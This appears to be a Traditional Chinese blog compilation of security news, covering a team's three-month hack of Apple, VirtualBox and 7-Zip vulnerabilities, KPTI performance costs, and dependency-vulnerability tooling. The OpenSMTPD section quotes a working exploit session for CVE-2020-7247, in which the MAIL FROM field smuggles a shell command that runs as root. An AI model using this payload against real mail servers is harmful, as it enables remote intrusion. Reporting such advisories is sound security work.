打穿蘋果的企業網路

上個禮拜丟出來很轟動的一篇「side project」,三個月不斷的打穿蘋果的企業網路:「We Hacked Apple for 3 Months: Here’s What We Found」,對應的 Hacker News 討論可以在「We Hacked Apple for 3 Months (samcurry.net)」這邊看到。

在最後面有提到這本來是打好玩的,但後來就投入愈來愈多時間進去:

This was originally meant to be a side project that we'd work on every once in a while, but with all of the extra free time with the pandemic we each ended up putting a few hundred hours into it.

這是五個人通力合作打了三個月出來的成果,依照他們的回報數字,共打出了 55 個「洞」,考慮到週休的情況,幾乎是天天打洞出來玩:

There were a total of 55 vulnerabilities discovered with 11 critical severity, 29 high severity, 13 medium severity, and 2 low severity reports. These severities were assessed by us for summarization purposes and are dependent on a mix of CVSS and our understanding of the business related impact.

文章裡沒有對每個安裝漏洞都描述,但有針對一些比較「有趣」的漏洞說明,雖然看了以後知道是怎麼一回事,但對這些手法沒這麼熟,你叫我打我還是不會打啊 XDDD 反而是當作表演藝術來看...

OpenSMTPD RCE

在「OpenBSD OpenSMTPD Remote Code Execution Vulnerability (CVE-2020-7247)」這邊看到頗意外的 OpenSMTPD RCE,而且從「Qualys Security Advisory LPE and RCE in OpenSMTPD (CVE-2020-7247)」這邊的範例可以看到是個淺顯易懂的 exploit:

$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@example.org>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
        echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye

這樣有點歡樂...

VirtualBox 5.2 的 0day 爆破...

Hacker News Daily 上看到「VirtualBox E1000 Guest-to-Host Escape」這篇,講 VirtualBox 5.2 的機器上 E1000 + NAT 模式的爆破... 另外在 Hacker News 上的討論也提到了很多這樣做的背景:「VirtualBox E1000 Guest-to-Host Escape | Hacker News」。

Oracle 對社群的態度 (無論是 open source community 或是 security community) 都一直是社群很不爽的事情。

這次爆破的發現人之前找到一個 VirtualBox 的 security bug (參考「SSD Advisory – VirtualBox VRDP Guest-to-Host Escape」),回報後先是回應他們在處理中,然後被發現 VirtualBox 在 5.2.18 修掉了,但是完全沒有提到安全性問題的事情。所以這次作者也懶得囉唆了,找到就 full disclosure 出來。

作者給的 workaround 有兩個,優先建議暫時先用 PCnet 系列的界面,如果不行的話,至少不要用 NAT。

作者發表後沒多久馬上就有 5.2.22 推出,不過看 changelog 應該是沒有修正這個問題?(或是修掉又沒提...)

7-Zip 的 RCE 安全性問題

7-Zip 被發現安全性問題 (CVE-2018-10115):「7-Zip: From Uninitialized Memory to Remote Code Execution」。而在 2018/04/30 推出的 18.05 修正了這個問題:「7-Zip 18.05」。

The vulnerability in RAR unpacking code was fixed (CVE-2018-10115).

除了修正以外,另外也開了 ASLR,對安全性會多一些防禦:

2018-03-06 - Discovery
2018-03-06 - Report
2018-04-14 - MITRE assigned CVE-2018-10115
2018-04-30 - 7-Zip 18.05 released, fixing CVE-2018-10115 and enabling ASLR on the executables.

手上有裝 7-Zip 的人要記得更新...

KPTI (Meltdown Mitigation) 對 MyISAM 的痛點

MariaDB 的「MyISAM and KPTI – Performance Implications From The Meltdown Fix」這篇看到頗驚人的數字,這篇提到了他們收到回報 (回報的 ticket 可以參考「[MDEV-15072] Massive performance impact after PTI fix - JIRA」),說 KPTI (Meltdown Mitigation) 對 MyISAM 效能影響巨大:

Recently we had a report from a user who had seen a stunning 90% performance regression after upgrading his server to a Linux kernel with KPTI (kernel page-table isolation – a remedy for the Meltdown vulnerability).

他們發現 90% 是因為 VMware 舊版本無法使用 CPU feature 加速,在新版應該可以改善不少。但即使如此,文章內還是在實體機器上看到了 40% 的效能損失:

A big deal of those 90% was caused by running in an old version of VMware which doesn’t pass the PCID and INVPCID capabilities of the CPU to the guest. But I could reproduce a regression around 40% even on bare metal.

然後後面就在推銷 MariaDB 的 Aria Storage Engine 了,不是那麼重要... 不過知道 MyISAM 在 KPTI 下這麼傷還蠻重要的,因為接下來五年應該都還是愈的到 KPTI,應該還是有人在用 MyISAM...

Fortnite 看起來沒上 Auto Scaling?(或是沒正確設好?)

Fortnite 遊戲的伺服器放在 AWS 上,看起來這波 Meltdown 的安全更新 (KPTI) 造成非常大的 overhead:

不過看起來出了問題:

We wanted to provide a bit more context for the most recent login issues and service instability. All of our cloud services are affected by updates required to mitigate the Meltdown vulnerability. We heavily rely on cloud services to run our back-end and we may experience further service issues due to ongoing updates.

最有可能的是把 AWS 當作一般的 VPS 在用,另外一種可能是有部份內部服務沒有 scale,造成上了 KPTI 後 overhead 增加,就卡住了...

用 Composer 的 require 限制,擋掉有安全漏洞的 library...

查資料的時候查到的,在 GitHub 上的 Roave/SecurityAdvisories 這個專案利用 Composerrequire 條件限制,擋掉有安全漏洞的 library:

This package ensures that your application doesn't have installed dependencies with known security vulnerabilities.

看一下 composer.json 就知道作法了,裡面的 description 也說明了這個專案的用法:

Prevents installation of composer packages with known security vulnerabilities: no API, simply require it

這方法頗不賴的 XDDD

GitHub 推出安全通知的功能

剛好是之前推出 Dependency Graph 後可以拿出來善用的利用:「Introducing security alerts on GitHub」,先前提到的 Dependency Graph 則是在「A more connected universe」這邊。

Vulnerability coverage 的部份有提到範圍,至少有公開 CVE 的會納入:

Vulnerabilities that have CVE IDs (publicly disclosed vulnerabilities from the National Vulnerability Database) will be included in security alerts. However, not all vulnerabilities have CVE IDs—even many publicly disclosed vulnerabilities don't have them. We'll continue to get better at identifying vulnerabilities as our security data grows. For more help managing security issues, check out our security partners in the GitHub Marketplace.

然後這系列功能目前只支援 JavaScriptRuby,下一個應該是 Python

The dependency graph and security alerts currently support Javascript and Ruby—with Python support coming in 2018.

Node.js 預定在十月 24 號發表安全性更新

在「DOS security vulnerability, October 2017」這邊先發佈了日期與影響範圍,細節預定在 10/24 發表:

The Node.js project will be releasing new versions of 4.x, 6.x, and 8.x the week of the 24th of October to incorporate a security fix.

Versions 4.8.2 and later of Node.js are vulnerable.
Versions 6.10.2 and later of Node.js are vulnerable.
Versions 8.x of Node.js are vulnerable.

有心人應該可以去翻 4.8.2 改了什麼 (或是 6.10.2),不知道是不是跟前陣子的「V8 對 Hash Flooding 的防禦措施」有關...